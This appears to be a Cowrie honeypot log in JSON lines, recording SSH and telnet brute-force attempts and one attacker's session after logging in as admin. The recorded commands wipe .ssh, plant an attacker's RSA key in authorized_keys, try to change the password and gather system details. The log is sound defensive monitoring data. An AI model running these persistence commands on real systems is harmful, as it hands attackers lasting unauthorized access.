{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:33.429557Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2019","message":"login attempt [admin/admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:33.964020Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.263598Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.267252Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.271398Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.401680Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.691091Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.694942Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.829844Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.833897Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":58854,"dst_ip":"159.203.135.109","dst_port":22,"session":"572c007952d6","protocol":"ssh","message":"New connection: 201.6.100.191:58854 (159.203.135.109:22) [session: 572c007952d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.953574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:34.958066Z","src_ip":"201.6.100.191","session":"572c007952d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:35.089326Z","src_ip":"201.6.100.191","session":"572c007952d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:35.630072Z","src_ip":"201.6.100.191","session":"572c007952d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:36.757976Z","src_ip":"201.6.100.191","session":"572c007952d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":59364,"dst_ip":"159.203.135.109","dst_port":22,"session":"f58777899b09","protocol":"ssh","message":"New connection: 201.6.100.191:59364 (159.203.135.109:22) [session: f58777899b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:36.884755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:36.892481Z","src_ip":"201.6.100.191","session":"f58777899b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:37.022620Z","src_ip":"201.6.100.191","session":"f58777899b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:37.572453Z","src_ip":"201.6.100.191","session":"f58777899b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.01297903060913,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:37.750551Z","src_ip":"45.235.28.70","session":"7ca0f177bea9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:38.701629Z","src_ip":"201.6.100.191","session":"f58777899b09","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:38.881277Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:38.885411Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.013965Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":57588,"dst_ip":"159.203.135.109","dst_port":22,"session":"943c5f59b381","protocol":"ssh","message":"New connection: 43.173.69.147:57588 (159.203.135.109:22) [session: 943c5f59b381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.233736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.238536Z","src_ip":"43.173.69.147","session":"943c5f59b381","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.320783Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2019\\n6y6cTrD8CfTj\\n6y6cTrD8CfTj\"|passwd|bash","message":"CMD: echo -e \"admin2019\\n6y6cTrD8CfTj\\n6y6cTrD8CfTj\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.323449Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.327096Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.330425Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.339260Z","src_ip":"43.173.69.147","session":"943c5f59b381","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8ccc7007483de9e43d88341fbd0d8e5edb20d6e1f7c426e0d53921c947719ed8","size":32,"shasum":"8ccc7007483de9e43d88341fbd0d8e5edb20d6e1f7c426e0d53921c947719ed8","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/8ccc7007483de9e43d88341fbd0d8e5edb20d6e1f7c426e0d53921c947719ed8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.455412Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapadmin","password":"mapadmin123","message":"login attempt [mapadmin/mapadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.611980Z","src_ip":"43.173.69.147","session":"943c5f59b381","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.757551Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2019\\n6y6cTrD8CfTj\\n6y6cTrD8CfTj\\n\"|passwd","message":"CMD: echo \"admin2019\\n6y6cTrD8CfTj\\n6y6cTrD8CfTj\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.761630Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/bccf0ad9777e32a223ad11341a4add40c65d0a97177a7ccaa71410bfbb76bf7f","size":25,"shasum":"bccf0ad9777e32a223ad11341a4add40c65d0a97177a7ccaa71410bfbb76bf7f","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/bccf0ad9777e32a223ad11341a4add40c65d0a97177a7ccaa71410bfbb76bf7f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:39.891755Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:40.232670Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:40.235246Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:40.366192Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:40.665460Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:40.669300Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.63.76.106","src_port":49750,"dst_ip":"159.203.135.109","dst_port":23,"session":"e709e26365ad","protocol":"telnet","message":"New connection: 119.63.76.106:49750 (159.203.135.109:23) [session: e709e26365ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:40.691781Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:40.743392Z","src_ip":"43.173.69.147","session":"943c5f59b381","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:40.801617Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.084692Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.088316Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.091861Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.220298Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.516204Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.519277Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:41.641697Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
